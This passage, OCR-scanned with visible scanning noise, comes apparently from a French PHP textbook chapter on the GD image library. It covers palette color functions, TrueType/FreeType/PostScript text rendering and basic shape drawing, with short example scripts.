la palette (cela permet aussi de tester l'existence d'une couleur dans la palette). Pour cela, vous 
devrez faire appel a la fonction imageColorExact ( ) . 



imageColorExact() 

Retourne l'identifiant de la couleur si la couleur existe dans la palette. 
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Syntaxe 


int imageCol orExact (resource $image, int $rouge, int $vert, 
int $bleu) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 


$rouge 


Composante rouge de la couleur desiree. 


$verte 


Composante verte de la couleur desiree. 


$bleu 


Composante bleue de la couleur desiree. 


retour 


Identifiant de la couleur precisee si elle existe dans la palette, -1 sinon. 



II existe une variante tenant compte de la composante Alpha (transparence). 



E -2 

— CO 
CO c 



imageColorExactAlpha () 



Retourne 1'identifiant de la couleur si la couleur existe dans la palette, en tenant compte de la 
composante Alpha (transparence). 

Syntaxe int imageCol orExactAl pha(resource $image, int $rouge, int 

oo $vert, int $bleu, int $alpha) 

■J3 jg $image Identifiant d'image tel que retourne par la fonction imageCreate () et 

<g EZ la famille de fonctions imageCreateFromXX ( ) . 

O) °o 

<H = $rouge Composante rouge de la couleur desiree. 



$verte Composante verte de la couleur desiree. 

$bl eu Composante bleue de la couleur desiree. 

$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur precisee si elle existe dans la palette, -1 sinon. 

N'avoir a disposition que 256 couleurs lorsque Ton voudrait en utiliser 16 millions peut etre 
contraignant. II est toutefois possible de determiner quelle est, dans la palette de 256 couleurs, 
celle qui est la plus proche de celle que nous souhaiterions utiliser. 

Pour recuperer la couleur de la palette la plus proche d'une couleur que Ton definit, il existe 
plusieurs fonctions, qui se differencient par leur maniere d'aborder la notion de "plus proche". 



imageColorClosest() 

Retourne 1'identifiant de la couleur de la palette la plus proche de la couleur voulue. En 
utilisant la distance euclidienne dans un espace a trois dimensions (rouge, vert, bleu). 

Autrement dit $distance = sqrt (pow($rouge2-$rougel, 2 ) +pow ( $vert2 -$vertl , 
2)+pow($bleu2-$bleul, 2)). 
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Syntaxe 


int imageCol orCl osest (resource $image, int $rouge, int $vert, 




int $bleu) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 




lafamille de fonctions imageCreateFromXX ( ) . 


$rouge 


Composante rouge de la couleur desiree. 


$vert 


Composante verte de la couleur desiree. 


$bleu 


Composante bleue de la couleur desiree. 


retour 


Identifiant de la couleur la plus proche de la couleur desiree. 



II est egalement possible de tenir compte de la composante Alpha (transparence). 



imageColorClosestAlpha () 

Retourne l'identifiant de la couleur de la palette la plus proche de la couleur voulue. 



Syntaxe 


int imageColorClosestAlpha(resource $image, int $rouge, int 




$vert, int $bleu, int $alpha) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 




la famille de fonctions imageCreateFromXX ( ) . 


$rouge 


Composante rouge de la couleur desiree. 


$vert 


Composante verte de la couleur desiree. 


$bleu 


Composante bleue de la couleur desiree. 


$al pha 


Composante Alpha de la couleur desiree. 


retour 


Identifiant de la couleur la plus proche de la couleur desiree. 



En pratique, la distance euclidienne appliquee aux composantes rouge, verte et bleue n'est pas 
ideale et n'offre pas toujours, de visu, le resultat attendu. II est done parfois preferable d'utiliser 
un autre algorithms. 



imageColorClosestHWB () 

Retourne l'identifiant de la couleur la plus proche en appuyant le calcul sur les composantes 
Couleur, Saturation et Brillance. 

Syntaxe int imageCol orCl osestHWB(resource $image, int $rouge, int 

$vert, int $bleu) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$rouge Composante rouge de la couleur desiree. 

$vert Composante verte de la couleur desiree. 
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$bl eu Composante bleue de la couleur desiree. 

$al pha Composante Alpha de la couleur desiree. 

retour Identifiant de la couleur la plus proche de la couleur desiree. 

II est egalement possible de demander a ce que la couleur soit creee, si jamais elle n'est pas 
disponible dans la palette. 



imageColorResolve () 

Retourne l'identifiant de la couleur si elle est dans la palette. Si la couleur n'est pas dans la 
palette, une nouvelle couleur est ajoutee a la palette. S'il n'y a plus de place dans la palette, c'est 
l'identifiant de la couleur la plus proche qui est retourne. 

int imageColorResolve(resource $image, int $rouge, int $vert, 
int $bleu) 

Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 

Composante rouge de la couleur desiree. 

Composante verte de la couleur desiree. 

Composante bleue de la couleur desiree. 

Identifiant de la couleur desiree ou de la couleur la plus proche de la 
couleur desiree. 




imageColorResolveAlpha () 

Retourne l'identifiant de la couleur si elle est dans la palette, en tenant compte de la 
composante Alpha (transparence). Si la couleur n'est pas dans la palette, une nouvelle couleur 
est ajoutee a la palette. S'il n'y a plus de place dans la palette, c'est l'identifiant de la couleur la 
plus proche qui est retourne. 



Syntaxe 


int imageColorResolveAlpha(resource $image, int $rouge, int 
$vert, int $bleu) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 


$rouge 


Composante rouge de la couleur desiree. 


$vert 


Composante verte de la couleur desiree. 


$bleu 


Composante bleue de la couleur desiree. 


$al pha 


Composante Alpha de la couleur desiree. 


retour 


Identifiant de la couleur desiree ou de la couleur la plus proche de la 
couleur desiree. 



Syntaxe 

$ image 

w $rouge 
Z -5 $vert 
<g ll. $bl eu 

£3) £ 

JS 5 retour 
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Pour recuperer les composantes (rouge, verte, bleue) d'un element de la palette, il suffit 

d'utiliser la fonction imageColorsForlndex ( ) . 



imageColorsForlndex () 

Retourne les composantes rouge, verte et bleue d'une couleur de la palette. 

Syntaxe array imageColorsForIndex(resource $image, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$couleur Identifiant de la couleur tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

retour Tableau associatif contenant les cles "red" contenant la composante 

rouge, "green" contenant la composante verte et "blue" contenant la 
composante bleue. 

Modifier la palette 

La fonction imageColorSet ( ) permet de remplacer une couleur de la palette. 



imageColorSet() 

Remplace une couleur de la palette par une autre. 



Syntaxe 


boolean imageCol orSet (resource $image, int $couleur, int 
$rouge, int $vert, int $bleu) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 


$coul eur 


Identifiant de la couleur tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 


$rouge 


Nouvelle composante rouge de la couleur desiree. 


$vert 


Nouvelle composante verte de la couleur desiree. 


$bleu 


Nouvelle composante bleue de la couleur desiree. 


retour 


FALSE en cas d'echec. 



II est egalement possible d'effectuer facilement une correction gamma sur une image avec la 

fonction imageGammaCorrect ( ) . 
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imageGammaCorrect () 

Effectue une correction gamma sur une image. 

Syntaxe boolean imageGammaCorrect (resource $image, double 

$gammaEntree, double $gammaSorti e) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$gammaEntree Gamma initial de l'image (probablement 1.0). 

$gammaSortie Gamma corrige. 

retour TRUE. 

Une fonction permet de transformer une image TrueColor en image limitee a 256 couleurs : 



ImageTrueColorToPalette () 

Transforme une image TrueColor en image a palette. 

void imageTrueCol orToPal ette(resource $image, boolean $dither, 
i nt $nbCoul eurs) 

Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 

En mettant a TRUE ce parametre, cela autorise le "dithering" qui permet 
d'obtenir des images, certes plus granuleuses, mais les couleurs seront plus 
proches de celles d'origine. 

Nombre de couleurs que Ton souhaite dans la palette. 

Supprimer des couleurs 

Nous avons deja VU les fonctions imageColorAllocate ( ) et imageColorResolve ( ) qui 

permettent d'ajouter une couleur a la palette de couleurs. Sachez qu'il est egalement possible 
de retirer des couleurs de la palette a l'aide de la fonction imageColorDeaiiocate ( ) dont 
voici la signature : 



oj _ro Syntaxe 

C/3 II 
03 

£3) g 

E .2 $ image 




$dither 



$nbCoul eurs 



imageColorDeaiiocate () 

Supprime une couleur de la palette de couleurs. 

Syntaxe boolean imageCol orDeal 1 ocate(resource $image, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 
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$coul eur Identifiant de la couleur a supprimer, tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

retour FALSE en cas d'echec, TRUE sinon. 

Nombre de couleurs dans la palette 

On peut egalement compter le nombre de couleurs definies dans une image grace a la fonction 

imageColorsTotal ( ) . 



imageColorsTotal() 

Retourne le nombre de couleurs dans la palette de l'image. 
Syntaxe int imageCol orsTotal (resource $image) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

retour Nombre de couleurs dans la palette. 

Du texte dans les images §. £■ 

Plusieurs fonctions sont disponibles pour afficher du texte dans une image. Elles se distinguent a: 3 

notamment par le format de la police de caracteres utilisee. = 

On trouve ainsi, les polices : 57 ^ 

CO — 

GD, une police "bitmap" propre a la bibliotheque gd ; co 
TrueType, FreeType 2, PS des polices vectorielles. 

Contrairement aux polices "bitmap", les polices vectorielles gardent leur aspect quelle que soit 
la taille que vous leur imposez. 

Police de caracteres GD 

imagestring ( ) est une fonction qui permet d'ecrire horizontalement une chaine de 
caracteres. imagestringup ( ) est son homologue, qui permet d'ecrire de bas en haut. Ces deux 
fonctions ont des signatures identiques : 



imageStringO 

Ecrit horizontalement une chaine de caracteres sur l'image. 
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Syntaxe void imageStri ng (resource $image, int $police, int $x, int $y, 

string $texte, int $couleur) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$pol i ce Identifiant de la police d'ecriture a utiliser. Entre 1 et 5 s'il s'agit d'une 

police proposee par defaut PHP ; un nombre superieur retourne par 
imageLoadFont ( ) sinon. 

$x Abscisse du point superieur gauche du texte. 

$y Ordonnee du point superieur gauche du texte. 

$texte Texte a afficher. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 



imageStringUpO 

Ecrit verticalement, de bas en haut, une chaine de caracteres sur l'image. 

o> Syntaxe void imageStringUp(resource $image, int $police, int $x, int 

eg $y, string $texte, int $couleur) 

<2 $image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

ro = la famille de fonctions imageCreateFromXX ( ) . 

^ $pol i ce Identifiant de la police d'ecriture a utiliser. Entre 1 et 5 s'il s'agit d'une 

" police proposee par defaut ; un nombre superieur retourne par 

co ro imageLoadFont ( ) sinon. 

$x Abscisse du point superieur gauche du texte. 

$y Ordonnee du point superieur gauche du texte. 

$texte Texte a afficher. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

imageColorAllocate ( ) . 

Les polices par defaut (entre 1 et 5) portent les noms suivants : 1 = Tiny, 2 = Small, 3 = 
MediumBold, 4 = Large et 5 = Giant. 

En Utilisant imageString ( ) et imageStringUp ( ) , voici ce que Ton peut faire : 



Listing 13.4 : gd_03.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 200; 
$hauteur = 100; 

$image = imageCreate($largeur, $hauteur) ; 
$transparent = imageColorAllocate($image, 255, 0, 0) ; 
$noir = imageColorAllocate($image, 0, 0, 0); 
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imageCol orTransparent ($image, $transparent) ; 



imageStri ng ($image, 1, 10, 10, "police 1", $noir); 

imageStri ng ($image, 2, 10, 25, "police 2", $noir); 

imageStri ng ($image, 3, 10, 40, "police 3", $noir); 

imageStri ng ($image, 4, 10, 55, "police 4", $noir); 

imageStri ng ($image, 5, 10, 70, "police 5", $noir); 

imageStringUp($image, 5, 150, 100, "imageStringUp", $noir); 

imagePNG($image) ; 
imageDestroy ($image) ; 



Ce script ecrit cinq chaines de caracteres horizontalement utilisant les cinq polices d'ecriture 
disponibles, puis utilise la fonction similaire permettant d'ecrire verticalement. 



3 http://laca[host/BiblePHPscripts/c:hap12/c12-gd02.php - 



Fichier Edition AFFichage Favoris Outils 7 

Precedente " J |^ t>J] Rechercher Fav. 

Adresse :&\ http;//locdlhost/BiblePHPscripts/chapl2/cl2-gd02.php v Q OK 



police 2 
police 3 
police 4 
police 5 



Figure 13.2 : 

Utilisation 
d'imageString et 
imageStringUp 



Deux fonctions similaires, et ayant la meme syntaxe que celles qui viennent d'etre vues, existent 
et ne servent qu'a afficher le premier caractere d'une chaine de caracteres. II s'agit de : 



0) . 
=. r- 

3 CD 

S 1. 
5" 3 

CO <a 

CD 

Tl CO 

a> cd 

CO — 

CD™ 

CO 



imageChar() 



Ecrit horizontalement le premier caractere d'une chaine de caracteres sur l'image. 

imageCharUpO 

Ecrit verticalement, de bas en haut, le premier caractere d'une chaine de caracteres sur l'image. 

Tattle du texte 

La fonction suivante retourne la hauteur en pixels d'une police d'ecriture GD. 
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imageFontHeight() 

Hauteur d'un caractere de la police d'ecriture GD. 

Syntaxe int imageFontHeight(int $police) 

$pol i ce Identifiant de la police d'ecriture. 

retour Hauteur de la police (en pixels). 

Celle-ci retourne la largeur : 



imageFontWidthQ 



Largeur d'un caractere de la police d'ecriture GD. 

Syntaxe int imageFontWi dth (i nt $police) 

$pol i ce Identifiant de la police d'ecriture. 

retour Largeur de la police (en pixels). 

Personnalisation 



V) 
03 

» | 
CO LI- 
CU 

™ = II est possible d'utiliser son propre fichier de police d'ecriture en utilisant la fonction suivante : 

Eo 
_ v imageLoadFont ( ) 

CO 
co c 



imageLoadFont () 

Charge un fichier de police de caracteres GD. 

Syntaxe int imageLoadFont (stri ng $nomFichier) 

$nomFi chi er Nom du fichier de police d'ecriture. 

retour Identifiant de police d'ecriture (ayant une valeur > 5, les cinq premieres 

etant les polices PHP par defaut). 

Police de caracteres TrueType 

Afin de pouvoir utiliser la police TrueType, vous devez installer la bibliotheque en plus de gd. 

Installation sous Linux 

Recuperez la bibliotheque a l'adresse http://www.freetype.org/. II s'agit d'un fichier freetype- 
2.1.0.tar.gz (egalement disponible sur le CD-ROM). 
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Apres avoir copie le fichier dans un repertoire donne (ex. :/usr/local/src/lib), decompressez le 
fichier 

# gunzip freetype-2.1.0.tar.gz 

# tar xvf freetype-2. 1.0. tar 

# cd freetype-2. 1.0 

Puis compilez la bibliotheque : 

# ./configure 
Et installez-la : 

# make install 

Vous devez avoir maintenant une serie de fichiers libfreetype* dans le repertoire /usr/local/lib. 
Vous pouvez alors recompiler PHP avec l'option —with-freetype-dir= /usr/local/lib. 



> Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details. 



RENVOI 

Verification 

Vous pouvez verifier le bon deroulement des operations d'installation en appelant un simple 
script contenant <?php phpinf o ( ) ; ?>. Celui-ci devra laisser apparaitre : 

Figure 13.3 : 

phpinf o() 



GD Support 


enabled 


GD Version 


l .6.2 or higher 


FreeTifpe Support 


enabled 


FreeTupe Linkage 


with freetype 


JPG Support 


enabled 


PHG Support 


enabled 


WBMP Support 


enabled 



0) ■ 

=. I- 
3 CD 

3 1. 
5" 3 

CO <a 

CD 

Tl CO 

O) CD 
CO — 

CD - 

CO 



Et qui doit done contenir une ligne "FreeType linkage . . . with freetype" 

(eventuellement "with ttf Library"). 



Utilisation 



Polices d'ecriture 

Etant donne que les images sont generees du cote du serveur, il n 'est pas utile que le 
REMARQJE c // en j a it installe les polices utilisees pour la generation des images. 



Pour afficher du texte avec une telle police, il faut utiliser la fonction imageTTFText ( ) dont la 
signature est la suivante : 
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imageTTFText() 

Ecrit une chaine de caracteres sur l'image en utilisant une police TrueType. 



Syntaxe 


array imageTTFText (resource $image, int $taille, int $angle, 




int $x, int $y, int $couleur, string $police, string $texte) 


$ image 


Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 




la famille de fonctions imageCreateFromXX ( ) . 


$taille 


Taille du texte. 


$angl e 


Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 




haut). 


$x 


Abscisse du coin inferieur gauche du premier caractere de la chaine. 


$y 


Ordonnee du coin inferieur gauche du premier caractere de la chaine. 


$coul eur 


Identifiant de la couleur du texte tel que retourne par la fonction 




imageColorAllocate ( ) . 


$pol ice 


Nom du fichier de la police TrueType 


$texte 


Texte a afficher. 


retour 


Tableau contenant quatre elements indetermines. 



Par defaut, une operation d"'anti-aliasing" est effectuee sur le texte. Pour retirer cet effet, il 
suffit de faire preceder la couleur du signe 



Trouver des polices d'ecriture 

Vous trouverez de nombreuses polices d'ecriture libres de droits sur 
INTERNET http://www. 123fonts.com. 

Voici un exemple de script utilisant differents angles : 

Listing 13.5 : gd_04.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 250; 
$hauteur = 200; 

$image = imageCreate ($1 argeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageTTFText($image, 20, 0, 20, 20, -$noir, 

"melanie.TTF", "Police TrueType A"); 

imageTTFText($image, 20, 0, 20, 40, $noir, 

"melanie.TTF", "Police TrueType B"); 

imageTTFText($image, 20, 0, 20, 60, -$noir, 

"junist.TTF", "Police TrueType C"); 

imageTTFText($image, 20, 0, 20, 80, $noir, 
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"junist.TTF", "Police TrueType D") 
imageTTFText($image, 20, 180, 130, 85, -$noir, 

"junist.TTF", "Police TrueType E") 
imageTTFText($image, 20, 90, 200, 150, -$noir, 

"junist.TTF", "Police TrueType F") 
imageTTFText($image, 30, 20, 5, 190, -$noir, 

"junist.TTF", "Police TrueType G") 

imagePNG($image) ; 
imageDestroy ($image) ; 



3 httpiMocalhost/BiblePHPscrip.. 



Fichier Edition AFFichage Favoris Out " ft 
^ Precedents - Q ^] ^ ^ 



Adresse |^] http://localhost/BiblE vj Q OK Liens 



police Uueiypf? & 
police tMlype b t 



Figure 13.4 : 

Utilisation d'imageTTFText 



Taille du texte 

Si vous souhaitez centrer votre texte, vous devrez connaitre sa taille. Pour cela, vous pouvez 
faire appel a : 



0) . 
=. r- 

3 CD 
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CO <= 

CD 
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o> cd 

CO — 

CD™ 

CO 



imageTTFBBoxQ 



Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a l'aide d'une police TrueType. 

Syntaxe array imageTTFBBox(i nt $tai 1 1 ePol i ce, int $angle, string 

$police, string $texte) 

$tai 1 1 ePol i ce Taille de la police en pixels. 

$angl e Angle avec lequel le texte est ecrit. 

$pol i ce Nom du fichier de la police d'ecriture. 

$texte Texte dont on veut connaitre les coordonnees du rectangle. 

retour Un tableau a huit elements (abscisse du point inferieur gauche, ordonnee 

du point inferieur gauche, abscisse du point inferieur droit, ordonnee du 
point inferieur droit, abscisse du point superieur droit, ordonnee du point 
superieur droit, abscisse du point superieur gauche, ordonnee du point 
superieur gauche). 
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Police de caracteres FreeType 2 

Une autre fonction imageFtText ( (permet d'afficher du texte en utilisant des polices 
d'ecriture de type FreeType 2. Sa syntaxe est proche de celle d'imageTTFText ( ) ; un 
parametre supplemental permet toutefois de passer d'autres informations. 



imageFtText() 

Ecrit une chaine de caracteres sur l'image en utilisant une police FreeType 2. 

Syntaxe array imageFtText (resource $image, int $taille, int $angle, 

int $x, int $y, int $couleur, string $police, string $texte, 
array $infos) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$taille Taille du texte. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical debas en 

haut). 

J3 $x Abscisse du coin inferieur gauche du premier caractere de la chaine. 

cu j§ $y Ordonneedu coin inferieur gauche du premier caractere de la chaine. 

$couleur Identifiant de la couleur du texte tel que retourne par la fonction 

g .2 imageColorAllocate ( ) . 

■™ 

g E $police Nom du fichier de la police FreeType. 

—i 'E 

^ f $texte Texte a afficher. 

$i nf os Tableau associatif contenant d'autres parametres. Pour le moment, seule 

la cle "linespacing" est prise en compte et permet de specifier la 
largeur de l'interligne (coefficient par rapport a l'interligne par defaut). 

retour Tableau contenant quatre elements indetermines. 

Pour ecrire avec un interligne double de la normale, il suffit d'ecrire : 

imageFtText($image, $taille, $angle, $x, $y, $couleur, $police, 
$texte, array("l inespacing" => 2)) 

Taille du texte 



imageFTBBox() 

Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a l'aide d'une police TrueType II. 
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Syntaxe array imageFTBBox(int $tai 1 1 ePol i ce, int $angle, string 

$police, string $texte[, array $infos]) 

$tai 1 1 ePol i ce Taille de la police en pixels. 

$angl e Angle avec lequel le texte est ecrit. 

$pol i ce Nom du fichier de la police d'ecriture. 

$texte Texte dont nous voulons connaitre les coordonnees du rectangle. 

$ i nf os Informations supplementaires telles que l'interligne. 

retour Un tableau a huit elements (abscisse du point inferieur gauche, ordonnee 

du point inferieur gauche, abscisse du point inferieur droit, ordonnee du 
point inferieur droit, abscisse du point superieur droit, ordonnee du point 
superieur droit, abscisse du point superieur gauche, ordonnee du point 
superieur gauche). 



Police de caracteres Postscript 



Installation sous Linux 




Installation 

Les polices Postscript ne peuvent etre utilisees que si la bibliotheque tllib a ete 



REMARQUE imtaMe 

Recuperez la bibliotheque a l'adresse ftp://sunsite.unc.edu/pub/Linux/libs/graphics/. II s'agit d'un fi- 
chier tllib-1.3.1.tar.gz (egalement disponible sur le CD-ROM). 

Apres avoir copie le fichier dans un repertoire donne (ex. :/usr/local/src/lib), decompressez-le : 

# gunzip til ib-1.3. l.tar.gz 

# tar xvf til ib-1.3. l.tar 

# cd til ib-1.3. 1 

Puis compilez la bibliotheque : 

# ./configure 

# make without_doc 

Et installez-la : 

# make 

Vous devez avoir maintenant une serie de fichiers libtl * dans le repertoire /usr/local/lib. 
Vous pouvez alors recompiler PHP avec l'option -with-tllib. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 
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Verification 

Les lignes retournees par <?php phpinf o ( ) ; ?> et concernant la bibliotheque gd doivent 
alors laisser apparaitre l'indication "TlLib support enabled". 

Utilisation 

II est done possible d'ecrire du texte en utilisant une police PostScript grace a la fonction 

imagePSText ( ) . 



imagePSText() 

Ecrit une chaine de caracteres sur l'image en utilisant une police Postscript. 

Syntaxe array imagePSText (resource $image, string $texte, resource 

$police, int $taille, int $coul eurTexte, $couleurFond, int $x, 
int $y [, int $1 argeurEspace, int $espaceCar, double $angle, 
i nt $anti Al i asi ng] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 



CO 
03 

» u. $police Identifiant de police tel que retourne par la fonction 

£3) <£ 
CO 



$texte Texte a afficher. 

Identifiant de 

imagePSLoadFont ( ) . 

E — 

-co $taille Taille du texte en pixels. 

(2 E . 

—i "E $coul eurTexte Identifiant de la couleur du texte tel que retourne par les fonctions 

m imageColorAllocate ( ) et imageColorResolve ( ) . 

$couleurFond Identifiant de la couleur du fond tel que retourne par les fonctions 

imageColorAllocate ( ) et imageColorResolve ( ) . 

$x Abscisse du coin inferieur (base) gauche du premier caractere de la chaine 

(par exemple, pour la lettre p, la base se situe en dessous de la "boucle" et 
non au bas du "pied"). 

$y Ordonnee du coin inferieur (base) gauche du premier caractere de la 

chaine (par exemple, pour la lettre p, la base se situe en dessous de la 
"boucle" et non au bas du "pied"). 

$1 argeurEspace Largeur (en pixels) du caractere "espace". 

$espaceCar Espace (en pixels) entre les caracteres. 

$angl e Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 

haut). 

$anti Al i asi ng Nombre de parametres a utiliser pour l'anti-aliasing (4 ou 16). 
retour Tableau contenant quatre elements indetermines. 
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imagePSLoadFont() 

Charge une police d'ecriture PostScript de type 1. 

Syntaxe resource imagePSLoadFont(string $fileName) 

$f i 1 eName Nom du fichier PostScript a charger, 

return Identifiant de la police d'ecriture. 

Tattle du texte 



imagePSBBoxQ 



Cette fonction permet de connaitre les coordonnees du rectangle entourant une chaine de 
caracteres ecrite a 1'aide d'une police PostScript de type 1. 



Syntaxe 


array imagePSBBox(string $texte, resource $police, int $taille 




[,int $1 argeurEspace, int $espaceCar, double $angle]) 


$texte 


Texte dont vous souhaitez connaitre les coordonnees du rectangle de 




contour. 


$pol i ce 


Identifiant de police tel que retourne par la fonction 




imagePSLoadFont ( ) . 


$taille 


Taille du texte en pixels. 


$1 argeurEspace 


Largeur (en pixels) du caractere "espace". 


$espaceCar 


Espace (en pixels) entre les caracteres. 


$angl e 


Angle du texte en degres (0 = texte horizontal, 90 = texte vertical de bas en 




haut). 


retour 


Un tableau a quatre elements, (abscisse du point inferieur gauche, 




ordonnee du point inferieur gauche, abscisse du point superieur droit, 




ordonnee du point superieur droit). 



Personnalisation 

II est possible de modifier les polices Postscript a 1'aide des fonctions suivantes : 



imagePSEncodeFont () 

Permet de changer le codage vectoriel d'un caractere d'une police. Les polices d'ecriture 
PostScript ne gerent pas les caracteres apres 127. Pour utiliser une autre langue que l'anglais 
(contenant par exemple des caracteres accentues), il peut etre indispensable de modifier le 
codage vectoriel. 
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Syntaxe boolean imagePSEncodeFont (resource $police, string 

$nomFichier) 

$police Identifiant de la police d'ecriture a modifier tel que retourne par 

imagePSLoadFont ( ) . 

$nomFi chi er Nom du fichier contenant le nouveau codage vectoriel. 

retour TRUE. 



imagePSExtendFont () 

Permet d'etendre ou de condenser une police d'ecriture. 

Syntaxe boolean imagePSExtendFont (resource $police, float $extension) 

$police Identifiant de la police d'ecriture a modifier tel que retourne par 

imagePSLoadFont ( ) . 

$extensi on Indice d'extension ; s'il est inferieur a un alors la police sera condensee. 

retour TRUE si l'operation a pu se faire, FALSE sinon. 



CO 
03 

» | 
CO LI- 
CU 

O) J» 
ca = 

E ~ 

eg g Cette fonction permet de mettre en italique une police d'ecriture. 



imagePSSlantFontO 



Syntaxe boolean imagePSSl antFont(resource $police, float $coeff) 

$police Identifiant de la police d'ecriture tel que retourne par 

imagePSLoadFont ( ) . 

$coef f Coefficient d'inclinaison. 

retour TRUE si l'operation a pu se faire, FALSE sinon. 

Liberation des ressources 



imagePSFreeFont() 

Libere la memoire occupee par une police d'ecriture PostScript de type 1. 
Syntaxe void imagePSFreeFont(resource $police) 

$police Identifiant de la police d'ecriture tel que retourne par 

imagePSLoadFont ( ) . 
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Dessiner des formes geometriques 

II est possible de faire ses dessins point par point, en utilisant une fonction qui permet de 
n'afficher qu'un seul pixel : 



imageSetPixel() 

Permet d'afficher un pixel d'une certaine couleur. 



Syntaxe 


boolean imageSetPixel (resource $image, int $x, int $y, int 
$coul eur) 


$ image 


Identifiant de l'image sur laquelle dessiner le pixel. 


$x 


Abscisse du pixel a dessiner. 


$y 


Ordonnee du pixel a dessiner. 


$coul eur 


Identifiant de la couleur a donner au pixel. 


retour 


TRUE. 


Grace a cette meme bibliotheque, il est aussi possible de dessiner des traits. 


imageLineQ 




Permet de dessiner un trait. 


Syntaxe 


boolean imageLine(resource $image, int $xl, int $yl, int $x2, 
int $y2, int $couleur) 


$ image 


Identifiant de l'image sur laquelle dessiner le trait. 


$xl 


Abscisse du point de depart. 


$yi 


Ordonnee du point de depart. 


$x2 


Abscisse du point d'arrivee. 


$y2 


Ordonnee du point d'arrivee. 


$coul eur 


Identifiant de la couleur du trait, lMG_COLOR_BRUSHED (voir 
imageSetBrushO), IMG_COLOR_STYLED (voir 
imageSetStyle ( ) ) ou IMG_COLOR_STYLEDBRUSHED. 


retour 


TRUE. 
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II est egalement possible de dessiner des traits en pointilles. 
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imageDashedLine() 

Permet de dessiner un trait en pointilles. 



Syntaxe boolean imageDashedLi ne( resource $image, int $xl, int $yl, int 
$x2, int $y2, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner le trait. 

$ x 1 Abscisse du point de depart. 

$y 1 Ordonnee du point de depart. 

$x2 Abscisse du point d'arrivee. 

$y2 Ordonnee du point d'arrivee. 

$coul eur Identifiant de la couleur du trait. 

retour true. 



Envie de vous prendre pour Picasso ? II est possible de dessiner des arcs d'ellipses, des cercles, 
des polygones, des rectangles, des carres... 



1 1 imageArc() 

£3) g 

g .2 Permet de dessiner un arc d'ellipse ou de cercle. 



Syntaxe 


boolean imageArc (resource $image, int $centreX, int $centreY, 
int $largeur, int $hauteur, int $angleDebut, int $angleFin, int 
$coul eur) 


$ image 


Identifiant de l'image sur laquelle dessiner l'arc d'ellipse. 


$centreX 


Abscisse du centre de l'ellipse. 


$centreY 


Ordonnee du centre de l'ellipse. 


$1 argeur 


Largeur de l'ellipse. 


$hauteur 


Hauteur de l'ellipse. 


$angleDebut 


Angle en degres ou commencer le trace. correspond a 3 H, 90 a 6 H, 180 
a9H. 


$angl eFi n 


Angle en degres ou finir le trace. 


$coul eur 


Identifiant de la couleur de l'ellipse. 


retour 


TRUE. 



Listing 13.6 : gdarc.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 290; 
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$hauteur = 50; 

$image = imageCreate($l argeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageArc($image, 40, 25, 60, 30 , 0, 240, $noir); 

imageArc($image, 110, 25, 60, 30, 90, 180, $noir); 

imageArc($image, 180, 25, 60, 30, 180, 360, $noir); 

imageArc($image, 250, 25, 30, 30, 0, 360, $noir); 



imagePNG($image) ; 
imageDestroy ($image) ; 



a httpiMocalhost/BiblePHPscripts/cha... [-J[n][x] 
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Figure 13.5 : 

]T\ imageArcQ 



o 



imageFilledArcO 



Permet de dessiner un arc d'ellipse ou de cercle plein. 

Syntaxe boolean imageFi 1 1 edArc (resource $image, int $centreX, int 

$centreY, int $largeur, int $hauteur, int $angleDebut, int 
$angleFin, int $couleur, int $style) 

$ i mage Identifiant de l'image sur laquelle dessiner l'arc d'ellipse. 

$centreX Abscisse du centre de l'ellipse. 

